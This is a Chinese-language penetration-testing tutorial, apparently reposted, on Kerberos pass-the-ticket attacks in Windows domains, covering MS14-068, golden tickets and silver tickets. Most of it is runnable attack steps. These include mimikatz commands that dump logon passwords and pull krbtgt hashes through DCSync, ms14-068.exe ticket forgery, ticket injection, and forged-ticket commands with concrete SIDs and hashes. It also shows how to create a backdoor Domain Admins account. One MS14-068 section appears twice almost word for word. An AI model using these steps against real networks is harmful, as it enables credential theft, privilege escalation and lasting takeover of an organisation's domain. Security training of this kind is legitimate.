內網橫向滲透之票據傳遞攻擊


0x00 前言

上面我們所講的PTH是基於NTLM認證的,接下來我們要講的PTT是基於Kerberos協議進行攻擊的,Kerberos協議的講解可以看這篇文章:https://www.jianshu.com/p/13758c310242
我們在滲透測試中,要使用哈希傳遞攻擊,則必須要獲取目標機器的管理員權限。如果沒有管理員權限,我們不妨用用票據傳遞攻擊(PTT)。
在票據傳遞攻擊(PTT)中,我們常用的有MS14-068、黃金票據、白銀票據。其中MS14-068可用來橫向獲取域內主機權限,黃金票據、白銀票據則可以用來對域控進行權限維持。

0x01 利用方法

MS14-068

在講解MS14-068之前,我們要先了解PAC這個東西,PAC是用來驗證Client的訪問權限的,它會被放在TGT里發送給Client,然后由Client發送給TGS。
Windows域中使用kerberos協議過程中,為了讓服務器判斷Client是否有權限訪問服務,微軟在Windows平台上對Kerberos協議進行了一些擴充,即在協議中增加了PAC(Privilege Attribute Certificate),特權屬性證書,也就是這個PAC造成了MS14-068這個漏洞。

MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞。它允許經過身份驗證的用戶在其Kerberos票證(TGT)中插入任意的PAC(表示所有用戶權限的結構)。該漏洞位於kdcsvc.dll域控制器的密鑰分發中心(KDC)中。普通用戶可以通過呈現具有改變了PAC的Kerberos TGT來獲得票證,進而偽造票據獲得管理員權限。
了解了漏洞原理后,我們來演示漏洞的利用方法。需要的條件如下:

域內任意用戶SID
域內任意用戶密碼


還需要MS14-068工具,下載地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

 

下面我們以上圖的實驗環境來復現PTT攻擊的具體操作。

我們現在以一個本地administrator用戶登錄域內的一個主機中

通過命令:net config workstation,可知域名為:

通過命令:nltest /dsgetdc:域名,可知DC主機名為:DC

 

用mimikatz去執行:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打開log.txt,可以看到有一個域用戶testuser,且密碼是****

 

使用該用戶登錄到域內

 
然后我們需要在目標主機Windows 7上面獲得一個域用戶testuser的SID:

 

然后再Windows 7上傳工具ms14-068.exe,並執行如下命令生成TGT票據:

ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器ip地址 -p 域成員密碼

 

如上圖,成功生成名為TGT_testuser@hacke.testlab.ccache的票據文件,接下來要做的就是將該票據文件注入到Windows 7的內存中了:
在Windows 7上傳mimikatz,利用mimikatz將票據注入到當前內存中,偽造憑證:

mimikatz # kerberos::purge         //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造
mimikatz # kerberos::list          //查看當前機器憑證
mimikatz # kerberos::ptc 票據文件   //將票據注入到內存中

 

再輸入dir \\DC\c$,發現訪問成功,現在我們有域管的權限

添加域管用戶

偽造金票

偽造金票的所需條件:

1、域名稱 2、域的SID值 3、域的KRBTGT賬號的HASH 4、偽造任意用戶名

 

登錄域管用戶,執行whoami可以看到是administrator用戶

 

使用一下命令導出用戶krbtgt的hash:

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:cyberpeace.com /all /csv" "exit" > hash.txt

導出用戶krbtgt的sid:

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:hacke.testlab /user:krbtgt" "exit"

 

利用mimikatz生成金票生成.kirbi文件並保存:

mimikatz.exe "kerberos::golden /admin:system /domain:hacke.testlab /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit /admin:偽造的用戶名 /domain:域名稱 /sid:SID值,注意是去掉最后一個-后面的值 /krbtgt:krbtgt的HASH值 /ticket:生成的票據名稱    //不是寫入內存中的命令!

 

金票的使用(普通域賬戶,利用黃金票據,創建域管賬戶)

登錄域內普通用戶,通過mimikatz中的kerberos::ptt功能將ticket.kirbi導入內存中。

mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi

 

此時嘗試創建一個testuser2的域管賬號,命令執行成功:

net user testuser2 ****/add /domain net group "Domain Admins" testuser2 /add /domain

 

登錄域控查看用戶,確實創建testuser2用戶

 

 

偽造銀票SILVER TICKET

原理:

如果說黃金票據是偽造的TGT,那么白銀票據就是偽造的ST。
在Kerberos認證的第三部,Client帶着ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之后,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。
所以我們只需要知道Server用戶的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。

特點:

1.不需要與KDC進行交互 2.需要server的NTLM hash

一、偽造憑據,提升域內普通用戶的權限

我們現在以一個本地administrator用戶登錄域內的一個主機中

通過命令:net config workstation,可知域名為:

通過命令:nltest /dsgetdc:域名,可知DC主機名為:DC

 

用mimikatz去執行:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打開log.txt,可以看到有一個域用戶testuser,且密碼是****

 

使用該用戶登錄到域內

 
然后我們需要在目標主機Windows 7上面獲得一個域用戶testuser的SID:

 

然后再Windows 7上傳工具ms14-068.exe,並執行如下命令生成TGT票據:

ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器ip地址 -p 域成員密碼

 

如上圖,成功生成名為TGT_testuser@hacke.testlab.ccache的票據文件,接下來要做的就是將該票據文件注入到Windows 7的內存中了:
在Windows 7上傳mimikatz,利用mimikatz將票據注入到當前內存中,偽造憑證:

mimikatz # kerberos::purge         //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造 mimikatz # kerberos::list //查看當前機器憑證 mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中

 

再輸入dir \\DC\c$,發現訪問成功,現在我們有域管的權限

添加域管用戶

net user testuser2 ****/add /domain net group "Domain Admins" testuser2 /add /domain

二、偽造銀票

登錄上面創建的域管用戶,用管理員權限打開CMD,cd 到 mimikatz 存放的目錄,去執行mimikatz的命令,得到SID和NTLM,

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

 

先使用mimikatz清空票據,再導入偽造的票據,具體偽造票據的命令:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt
使用方法: kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標服務器主機名> /service:<服務類型> /rc4:<NTLM Hash> /user:<用戶名> /ptt

其中的用戶名可以隨便寫

服務類型可以從以下內容中來進行選擇,因為我們沒有TGT去不斷申請ticket,所以只能針對某一些服務來進行偽造

 

 

測試一下,成功執行dir \\DC\c$

 

0x02 總結

金票和銀票的區別:
1.獲取的權限不同
金票:偽造的TGT,可以獲取任意Kerberos的訪問權限
銀票:偽造的ST,只能訪問指定的服務,如CIFS

2.認證流程不同
金票:同KDC交互,但不同AS交互
銀票:不同KDC交互,直接訪問Server

3.加密方式不同
金票:由krbtgt NTLM Hash 加密
銀票:由服務賬號 NTLM Hash 加密

參考:黃金票據和白銀票據攻擊及其原理介紹

      內網橫向移動基礎總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM